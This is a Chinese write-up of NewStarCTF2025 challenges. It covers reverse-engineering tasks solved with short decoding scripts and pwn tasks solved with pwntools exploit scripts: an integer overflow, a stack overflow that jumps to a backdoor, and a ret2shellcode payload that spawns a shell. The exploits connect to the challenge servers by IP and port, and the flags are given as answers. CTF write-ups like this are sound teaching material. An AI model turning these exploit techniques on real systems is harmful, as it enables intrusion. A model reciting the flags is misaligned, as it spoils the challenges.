Reverse
Strange Base
IDA定位到函数
明显是将我们的输入结果base64加密后和buf2比较
跟进分析base64_encode函数
发现很明显的base64加密特征,直接解密发现失败
大概率是换表base64,跟进上面的table提取出表解密即可
解密
python
import base64
import string
str1 = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=" # 密文
string1 = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
flag{Wh4t_a_cra2y_8as3!!!}
X0r
IDA分析主函数代码,发现把我们的输入存储到str中,每三个为一组,每组内按下标分别进行异或
直接对照逻辑逆向就行
python
enc="anu`ym7wKLl$P]v3q%D]lHpi"
key=[0x13,0x13,0x51]
enc_list=[0]*len(enc)
flag=""
for i in range(len(enc)):
enc_list[i]=(ord(enc[i])^key[i%3])
for i in range(len(enc)):
if i%3==0:
flag+=chr(enc_list[i]^0x14)
elif i%3==1:
flag+=chr(enc_list[i]^0x11)
else:
flag+=chr(enc_list[i]^0x45)
print(flag)
flag{y0u_Kn0W_b4s1C_xOr}
Puzzle
IDA分析主函数,发现flag被切分为四个部分,那我们只需要找到四个部分即可
按题目说明依次找出part1 part2 part3 part4即可
查字符串找到part4
下面有个提示second
查交叉引用,得到part2
字符串列表中还存在
看交叉引用,得到part1
还有可疑串
继续查看交叉引用
将数据异或得到part3
拼在一起就行
flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}
EzMyDroid
JADX分析APK文件
找到加密函数和主要加密逻辑

发现加密过程是把我们的输入先进行AES加密,然后BASE64加密,全部都在Java层
所以直接解密base64,再解AES即可
flag{@_g00d_st@r7_f0r_ANDROID}
plzdebugme
IDA分析主函数
发现经过了很多种加密,直接逆向算法的话耗时较大,所以这里选择动调的方式
直接在最后依次加密完成后下断点,动调提取数据即可
触发断点后在flag处提取数据
flag{It3_D3bugG_T11me!_le3_play}
PWN
GNU Debugger
是一个熟悉GDB的题,按照提示走就行
第一关是获取R12中的值
按c后输入R12的值即可来到第二关
第二关是获取内存地址处的数据
获取内存中数据然后厨子转字符串,来到第三关
要求我们下断点,在该地址处下断点
触发断点后一直ni到最后一关
最后一关是修改地址0x7fffffffd7d4处的值为0xdeadbeef
先查看该处的值,然后通过set进行修改,得到最终flag
INTbug
IDA查看func
因为这里的v1为int16,是一个有符号的16位整数,最高位为符号位
所以我们只需要输入32768个1,使得v1溢出为负数即可
python
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./INTbug")
p=remote("47.94.87.199",34898)
# gdb.attach(p)
# pause()
p.recvline("welcome to NewStarCTF2025!\n")
payload = b'1\n' * 32768
p.sendline(payload)
p.interactive()

pwn's door
IDA查看,发现只是把我们的输入进行比较
满足条件即可获取权限
编写脚本
python
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./door")
p=remote("39.106.48.123",30317)
p.recvline()
binsh=0x6B6579
p.sendline(str(binsh))
p.interactive()

overflow
查看main
直接跟进try
发现存在栈溢出,覆盖长度为0x100+0x8
编写payload
这里会有EOF,需要一个ret滑一下
python
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./overflow")
p=remote("39.106.48.123",37508)
p.recvline()
backdoor=0x0401200
ret=0x401016
p.sendline(b"a"*0x108+p64(ret)+p64(backdoor))
p.interactive()

input_function

我们可以发现buf映射到的虚拟地址具有可读可写可执行的权限
也可以用vmmap查看
并且后续会调用buf,典型的ret2shellcode,编写EXP
python
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./input_function")
p=remote("39.106.48.123",36843)
p.recvline("please input a function(after compile)")
# gdb.attach(p)
# pause()
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
